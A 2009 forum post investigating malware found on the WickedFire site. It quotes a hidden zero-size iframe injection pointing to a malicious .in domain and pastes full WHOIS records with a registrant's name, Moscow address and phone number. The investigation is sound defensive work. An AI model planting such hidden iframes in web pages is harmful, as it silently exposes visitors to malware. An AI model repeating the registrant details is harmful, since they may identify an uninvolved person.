Thread: Malware on WickedFire?
View Single Post
Old 06-12-2009, 03:39 PM   #39 (permalink)
xmcp123
 
xmcp123's Avatar
 
Join Date: Sep 2007
Location: Not Louisiana
Posts: 3,947
iTrader: 3 / 100%
xmcp123 has a reputation beyond reputexmcp123 has a reputation beyond reputexmcp123 has a reputation beyond reputexmcp123 has a reputation beyond reputexmcp123 has a reputation beyond reputexmcp123 has a reputation beyond reputexmcp123 has a reputation beyond reputexmcp123 has a reputation beyond reputexmcp123 has a reputation beyond reputexmcp123 has a reputation beyond reputexmcp123 has a reputation beyond repute
Quote:
Originally Posted by Spades View Post
Found it...
Code:
<pre class="alt2" dir="ltr" style="
        margin: 0px;
        padding: 6px;
        border: 1px inset;
        width: 640px;
        height: 34px;
        text-align: left;
        overflow: auto">&lt;iframe src=&quot;http://naemnitibo.in/cn.php?hyc&quot; width=&quot;0&quot; height=&quot;0&quot;&gt;&lt;/iframe&gt;</pre>
Here's the domain info for this stupid fuck. Obviously it's anonymous but I'm hoping Shady will show up soon and dig a little deeper than I can.

Domain Name:NAEMNITIBO.IN
Created On:18-May-2009 15:34:44 UTC
Last Updated On:18-May-2009 15:37:31 UTC
Expiration Date:18-May-2010 15:34:44 UTC
Sponsoring Registrar:Web Commerce Communications Limited dba WebNic.cc (R105-AFIN)
Status:TRANSFER PROHIBITED
Registrant ID:WN13571799T
Registrant Name:Alexander Kalinin
Registrant Organization:Private person
Registrant Street1:ulitsa Dolskaya d.10 kv.33
Registrant Street2:
Registrant Street3:
Registrant City:Moskva
Registrant State/Province:Moskva
Registrant Postal Code:115569
Registrant Country:RU
Registrant Phone:+7.49573431510
Registrant Phone Ext.:
Registrant FAX:+0.0
Registrant FAX Ext.:
Registrant Email:[email protected]
Admin ID:WN13571800T
Admin Name:Alexander Kalinin
Admin Organization:Private person
Admin Street1:ulitsa Dolskaya d.10 kv.33
Admin Street2:
Admin Street3:
Admin City:Moskva
Admin State/Province:Moskva
Admin Postal Code:115569
Admin Country:RU
Admin Phone:+7.49573431510
Admin Phone Ext.:
Admin FAX:+0.0
Admin FAX Ext.:
Admin Email:[email protected]
Tech ID:WN13571801T
Tech Name:Alexander Kalinin
Tech Organization:Private person
Tech Street1:ulitsa Dolskaya d.10 kv.33
Tech Street2:
Tech Street3:
Tech City:Moskva
Tech State/Province:Moskva
Tech Postal Code:115569
Tech Country:RU
Tech Phone:+7.49573431510
Tech Phone Ext.:
Tech FAX:+0.0
Tech FAX Ext.:
Tech Email:[email protected]
Name Server:NS1.NAEMNITIBO.IN
Name Server:NS2.NAEMNITIBO.IN
No matter which way you cut it, the trail goes dead somewhere in Russia. Impossible to verify who's real.
The place is a bulletproof hosting provider.
The only other trail I could see goes to the UK, but the name is "Oleg Orlov"...some human rights politician in Russia. So it's probably just them fucking around.
I could get a little deeper in, but honestly it's a pain in the ass since I can't just visit the URLs.
__________________
xmcp123 is offline